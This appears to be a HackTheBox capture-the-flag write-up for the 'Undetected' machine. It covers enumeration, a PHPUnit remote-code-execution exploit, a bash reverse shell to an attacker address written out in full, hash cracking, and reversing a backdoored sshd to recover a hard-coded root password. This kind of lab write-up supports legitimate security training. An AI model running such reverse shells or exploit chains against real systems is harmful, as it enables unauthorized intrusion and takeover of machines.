Undetected HackTheBox Writeup
Scanning
We run nmap on all ports with scripts and software versions.
Enumeration
We access the website and review the different sections and the source code.
We see a section called “store”, it shows a direct link and we can list a valid subdomain.
We add the subdomain to our file “/etc/hosts/.
We access the store subdomain and we see an online shopping cart.
According to them, the site does not accept orders, so they may have another web resource on another subdomain, we tried to take out subdomains by forcing vhost, but without success.
We launch the dirsearch tool, we manage to list multiple paths where directory listing usually exist.
Example of directory listing:
Exploitation
We checked the software versions in the “installed.json” file for vulnerabilities and exploits, and found that PHP Unit version 4.0.8 is vulnerable to remote code execution (RCE).
Exploit: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) - PHP webapps Exploit (exploit-db.com)
We download and run the exploit, we see that it works perfectly in this proof of concept.
We put a netcat and run a reverse shell to have a more interactive one.
Code used:
/usr/bin/bash -c "bash -i >& /dev/tcp/10.10.XX.XX/443 0>&1"
We searched for files and found the “info” file in backups, it looks like it is running a bash with a hexadecimal string.
Decoding the content, we see that a script is being executed in which a hash of a user is hardcoded.
We put the hash in a file and crack it with john:
We check the “/etc/passwd” and find the users, try the password with both users and one works.
We see that we can also read the flag of user.txt.
Privilege Escalation
We launch the linpeas.sh script to perform a deep and fast reconnaissance of the system, we see that it is vulnerable to Polkit and Pwnkit, but we will try not to exploit these paths.
We identify the user Steven’s path to his mailbox.
We read the email left by the root user, it seems that they are having difficulties with the Apache service and the website, while they investigate the problem they have left a temporary password to authenticate us on the server. But where?
Assuming the team is scared, I assume that file is one of the last things they have modified or deployed to the server. So we look for the last modified files by date, we find a library called “mod_reader.so”:
We transfer it to our machine and use strings on it, we find a string that looks like base64:
We see that the wget binary is being executed on an image and on the sshd binary, but this does not make any sense… Unless that sshd is not what it looks like.
We transfer the sshd binary, compare the hashes and see that they are different, so it could be the file we are looking for “camouflaged” in the system.
We open the file with Ghidra, list a function called “backdoor” and it seems to contain an authentication for the SSH service.
In this code trace it is very clear, it is performing a comparison of both strings, therefore it is validating a password that is hardcoded in the binary.
We reviewed the code of the “backdoor” function, we found several variables with hexadecimal values:
Then we see that there is a loop where it is storing the content of the previous variables and computing them in XOR with the key “0x96” in hexadecimal.
We used the online tool Cyberchef, inserted the parameters and managed to obtain the password in plain text.
We connect via SSH with the root user and read the root.txt file:
